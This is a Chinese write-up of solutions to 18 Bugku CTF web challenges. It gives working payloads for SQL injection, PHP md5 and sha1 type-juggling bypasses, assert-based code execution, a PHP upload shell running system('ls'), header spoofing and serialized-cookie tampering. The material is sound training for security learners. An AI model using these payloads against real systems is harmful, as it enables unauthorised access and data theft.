2019.2.10
过年休息归来,继续做题。
bugku的web题,地址:https://ctf.bugku.com/challenges
1.
http://123.206.87.240:8002/web16/
提示是备份,不由自主想到bak。这里可以扫路径或者自己多试试:
http://123.206.87.240:8002/web16/index.php.bak 就是备份,直接保存下来。
打开后是一段源代码:
大概意思就是,获取key1和key2,但是会过滤掉你输入的key。
然后如果两个key的md5相等,且两个key本身不相等,就会打印出flag的值。
在这里可以用 kekeyy1 和 kekeyy2来绕过这个过滤。
而在php中,md5函数无法处理数组,返回的都是null,两个null也是相等。
所以构造payload:
http://123.206.87.240:8002/web16/?kekeyy1[]=sss&kekeyy2[]=xxx
(key后面的值随便写就ok)
Bugku{OH_YOU_FIND_MY_MOMY}
2.
http://123.206.87.240:8002/chengjidan/
输入1的时候是这样(这个submit是post方式)
加个'
这里猜下,总共四列 (名字,三科目)
1' union select 1,2,3,4#
都有回显,于是 构造 -1' union select 1,2,3,database()# (用1爆不出来)
获取数据库名称:
之后通过 -1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()# 得到表名fl4g,sc
然后获取flag中的字段,这里需要16进制绕过一下:
-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c3467#
所以我们最终要获取的就是 skctf_flag数据库中 fl4g表中 skctf_flag字段的值。
构造payload;
-1' union select 1,2,3,skctf_flag from fl4g#
BUGKU{Sql_INJECT0N_4813drd8hz4}
3.
http://123.206.87.240:8002/qiumingshan/
这道题应该就是 脚本提交post数据的方式,还需要在两秒内。就得获取页面上的数字和运算法则。
所以直接脚本:
mport requests import re url = 'http://123.206.87.240:8002/qiumingshan/' s = requests.Session() source = s.get(url) expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group() result = eval(expression) post = {'value': result} print(s.post(url, data = post).text)
其中用到正则表达式,其实就是匹配 十进制数加上四则运算符号加上十进制数 这样的形式。
然后直接用python 内置的 eval方法,可以直接把文本提取为计算式。
至于为什么要post value,可以多刷新几遍网页:
最后运行脚本:
Bugku{YOU_DID_IT_BY_SECOND}
4.
http://123.206.87.240:8002/web6/
查看页面源代码也没什么值得注意的,抓包试试。
放到repeater中 go一下试试:
多go几次,发现每次的flag都不一样。做到这步大概就是得写脚本了。思路就是 提取 header中的flag值,然后构造 margin = flag值 这样的数据,post一下,获得返回内容就能得到flag。
脚本:
import requests import base64 url = 'http://123.206.87.240:8002/web6/' req = requests.session() res = req.get(url) flag = res.headers['flag'] txt = base64.b64decode(flag) txt = txt[txt.index(":") + 2:] txt = base64.b64decode(txt) data = {'margin': txt} ans = req.post(url, data) print ans.content
这里要注意的是,flag是base64加密,解密后还是一个base64,需要进行两次解密。 这个在py2.x可以运行,py3需要将byte与str进行转换。
5.
http://123.206.87.240:8002/web11/
打开后这样,字符没什么意义,页面源代码也没其他的东西。
看url filename后面的好像是base64编码:
解码:
那就根据这个原理访问其他页面,比如要访问index.php,就先把它base64加密:
filename =aW5kZXgucGhw
访问后页面是空的,查看源代码是这样的:
猜想大概是这个 line= 起到作用,
不妨写个脚本跑出来所有代码:
import requests a=30 for i in range(a): url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw" s=requests.get(url) print s.text
得到的代码:
<?php error_reporting(0); $file=base64_decode(isset($_GET['filename'])?$_GET['filename']:""); $line=isset($_GET['line'])?intval($_GET['line']):0; if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ="); $file_list = array( '0' =>'keys.txt', '1' =>'index.php', ); if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){ $file_list[2]='keys.php'; } if(in_array($file, $file_list)){ $fa = file($file); echo $fa[$line]; } ?>
从代码后半段可以看到,有一个keys.php的页面,应该是我们想要的。而且还有个判断,就是我们的cookies 要等于 margin
keys.php base64加密后:a2V5cy5waHA=
抓个包,然后放到repeater里面go一下:
KEY{key_keys}
6.
http://123.206.87.240:8006/test/hello.php
打开后查看源代码:
然后直接访问 ...../test/1p.html (查看源代码的页面 view code)
发现一段base64 解密:
解密后是段php:
";if(!$_GET['id']) { header('Location: hello.php?id=1'); exit(); } $id=$_GET['id']; $a=$_GET['a']; $b=$_GET['b']; if(stripos($a,'.')) { echo 'no no no no no no no'; return ; } $data = @file_get_contents($a,'r'); if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) { require("f4l2a3g.txt"); } else { print "never never never give up !!!"; } ?>
尝试直接访问 f412a3g.txt (还是上面的那种访问方式)
...../test/f412a3g.txt
flag{tHis_iS_THe_fLaG}
7.
打开后没什么可利用的信息,那就好好看看给的提示:
<?php
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])
?>
exlpde()分割a#s#s#e#r#t为assert,使用assert()函数的解析传进来的s串,assert有代码执行漏洞。
所以这里构造payload:
?s=print_r(scandir('./')) (扫描当前目录并按数组形式输出)
这里直接访问 f94lag.txt就行了:
BUGKU{bugku_web_009801_a}
8.
对于正则表达式我是不了解的。。。详情学习了这篇文章,写得非常的细致:
https://blog.csdn.net/qq_26090065/article/details/81605837
key is: KEY{0x0SIOPh550afc}
9.
http://123.206.31.85:49162/
打开后不禁想起了自己的前女友=。=。。。
查看页面源代码:
打开这个code.txt
和之前的一道题蛮像的,还是php 中md5函数无法对数组进行运算。
构造payload:http://123.206.31.85:49162/?v1[]=1&v2[]=2&v3[]=3
SKCTF{Php_1s_tH3_B3St_L4NgUag3}
10.
http://123.206.31.85:49163/
sql约束攻击 大多就是 字符串长度的约束
比如 user = admin 1
和 uset = admin 会被数据库识别成一样的 (看它的约束条件是什么样)
所以这道题,先注册一个 admin 的账号(有个空格,你注册几个空格的都可以)
然后用admin登陆,用你注册的密码就行了:
SKCTF{4Dm1n_HaV3_GreAt_p0w3R}
11.
http://123.206.87.240:9009/from.php
打开后这样:
看页面源代码也没别的东西,猜测是抓包改下头部什么的,改成外国的,或者谷歌啥的。
这里抓包,修改 Referer 为 https://www.google.com 就行了:
flag{bug-ku_ai_admin}
12.
这里找了下 md5碰撞的原理:
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。
攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。
0e开头的md5和原值:
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
所以构造a= 以上的一种 就可以:
比如:
http://123.206.87.240:9009/md5.php?a=s878926199a
flag{md5_collision_is_easy}
13.
http://123.206.87.240:8002/localhost/
页面源代码没有东西。他既然说本地访问了,那就抓个包 用 X-Forward-For: 127.0.0.1试试;
flag{loc-al-h-o-st1}
14.
http://123.206.87.240:8002/web7/
代码意思就是,id需要等于margin,然后用户名和密码不能相同,但是sha1后要相同(类似于md5)
所以还是用数组的方式绕过,要注意passwd 是需要post的,所以需要用到hackbar:
Flag: flag{HACK_45hhs_213sDD}
15.
打开后这样:
刚开始以为题目坏了。。看到最近也有人解答出来,就知道事情不简单。
扫下后台把,发现了robot.txt
进入这个 resus1.php:
下面很明显,x需要等于password才行。
蒙一个admin:
搞定:
flag(ctf_0098_lkji-s)
16.
因为比较懒,直接尝试sqlmap 跑 forms形式的:
flag{ed6b28e684817d9efcaf802979e57aea}
17.
查看页面代码注释:
这里上传文件包含的php (用图片马什么的不好使。。。)
<script language=php>system("ls")</script> 新建一个文档,然后改成jpg后缀。
然后访问这个地址,要注意还是用 file= 的方式:
然后直接访问那个 长长的文件就行了:
SKCTF{uP104D_1nclud3_426fh8_is_Fun}
18.
刚开始以为是sql注入,查路径什么的,看源代码也都没有,login点了确实没反应。
后来才知道,原来是传参,/?hint=1
这里有个坑就是 key不是下面那一串,判断的时候也 key的值是 NULL 也就是 cookie要等于 NULL的序列化的结果:
所以就抓下包,然后改cookie 就好了:
flag{unserialize_by_virink}
写到这。。。剩下题也太难了8.。。